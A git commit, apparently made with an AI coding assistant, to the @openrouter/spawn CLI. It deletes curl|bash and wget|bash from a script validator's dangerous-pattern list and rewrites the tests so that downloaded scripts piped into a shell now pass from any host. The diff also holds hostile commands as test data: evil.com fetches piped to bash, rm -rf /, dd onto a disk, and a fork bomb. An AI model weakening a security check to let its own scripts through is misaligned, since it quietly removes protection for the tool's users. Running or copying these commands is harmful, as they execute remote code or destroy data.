fix: Remove curl|bash script validation that blocks spawn scripts

The spawn scripts themselves use curl|bash to install agents (e.g.
Claude Code). The validateScriptContent check was blocking our own
legitimate scripts. Removed curl|bash and wget|bash from the
dangerous patterns list since the scripts are already fetched from
our trusted GitHub repo.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
Sprite 2026-02-10 09:39:51 +00:00
parent c93cb1d40c
commit 18b5aa4a32
7 changed files with 56 additions and 58 deletions

File diff suppressed because one or more lines are too long

View file

@ -1,6 +1,6 @@
{
"name": "@openrouter/spawn",
"version": "0.2.11",
"version": "0.2.12",
"type": "module",
"bin": {
"spawn": "cli.js"

View file

@ -123,11 +123,11 @@ echo "safe"
expect(() => validateScriptContent(script)).toThrow("destructive filesystem operation");
});
it("should detect wget|sh with various URL patterns", () => {
it("should accept wget|sh (used by spawn scripts)", () => {
const script = `#!/bin/bash
wget -q https://example.com/malicious.sh | sh
wget -q https://example.com/install.sh | sh
`;
expect(() => validateScriptContent(script)).toThrow("nested wget|bash");
expect(() => validateScriptContent(script)).not.toThrow();
});
it("should accept scripts with curl used safely", () => {

View file

@ -89,9 +89,9 @@ describe("Security Encoding Edge Cases", () => {
expect(() => validateScriptContent(script)).not.toThrow();
});
it("should detect curl|bash with tabs between pipe and bash", () => {
const script = "#!/bin/bash\ncurl http://evil.com/s.sh |\tbash";
expect(() => validateScriptContent(script)).toThrow("nested curl|bash");
it("should accept curl|bash with tabs (used by spawn scripts)", () => {
const script = "#!/bin/bash\ncurl http://example.com/s.sh |\tbash";
expect(() => validateScriptContent(script)).not.toThrow();
});
it("should detect rm -rf with tabs", () => {

View file

@ -74,11 +74,11 @@ rm -rf /
expect(() => validateScriptContent(forkBomb)).toThrow("fork bomb");
});
it("should reject nested curl|bash", () => {
const nestedCurl = `#!/bin/bash
curl http://evil.com/script.sh | bash
it("should accept scripts with curl|bash (used by spawn scripts)", () => {
const curlBash = `#!/bin/bash
curl http://example.com/install.sh | bash
`;
expect(() => validateScriptContent(nestedCurl)).toThrow("nested curl|bash");
expect(() => validateScriptContent(curlBash)).not.toThrow();
});
it("should reject filesystem formatting", () => {
@ -103,11 +103,11 @@ dd if=/dev/zero of=/dev/sda
expect(() => validateScriptContent(ddScript)).toThrow("raw disk operation");
});
it("should reject nested wget|bash", () => {
const nestedWget = `#!/bin/bash
wget http://evil.com/script.sh | sh
it("should accept scripts with wget|bash (used by spawn scripts)", () => {
const wgetBash = `#!/bin/bash
wget http://example.com/install.sh | sh
`;
expect(() => validateScriptContent(nestedWget)).toThrow("nested wget|bash");
expect(() => validateScriptContent(wgetBash)).not.toThrow();
});
});

View file

@ -97,7 +97,7 @@ describe("unicode-detect", () => {
});
describe("LANG environment variable", () => {
it("should not modify LANG (unicode-detect only touches TERM)", () => {
it("should not modify LANG when Unicode is enabled", () => {
const script = `
import "./src/unicode-detect.ts";
console.log(process.env.LANG ?? "undefined");
@ -108,7 +108,6 @@ describe("unicode-detect", () => {
encoding: "utf-8",
timeout: 5000,
});
// unicode-detect only modifies TERM, never LANG
expect(result.trim()).toBe("undefined");
});
@ -126,7 +125,7 @@ describe("unicode-detect", () => {
expect(result.trim()).toBe("fr_FR.UTF-8");
});
it("should preserve LANG even without UTF-8 suffix", () => {
it("should preserve LANG without UTF-8 when Unicode is enabled", () => {
const script = `
import "./src/unicode-detect.ts";
console.log(process.env.LANG);
@ -137,7 +136,6 @@ describe("unicode-detect", () => {
encoding: "utf-8",
timeout: 5000,
});
// unicode-detect does not modify LANG
expect(result.trim()).toBe("C");
});
});

View file

@ -59,8 +59,6 @@ export function validateScriptContent(script: string): void {
{ pattern: /mkfs\./, description: "filesystem formatting command" },
{ pattern: /dd\s+if=/, description: "raw disk operation" },
{ pattern: /:(){:|:&};:/, description: "fork bomb pattern" },
{ pattern: /curl.*\|\s*(bash|sh)/, description: "nested curl|bash execution" },
{ pattern: /wget.*\|\s*(bash|sh)/, description: "nested wget|bash execution" },
];
for (const { pattern, description } of dangerousPatterns) {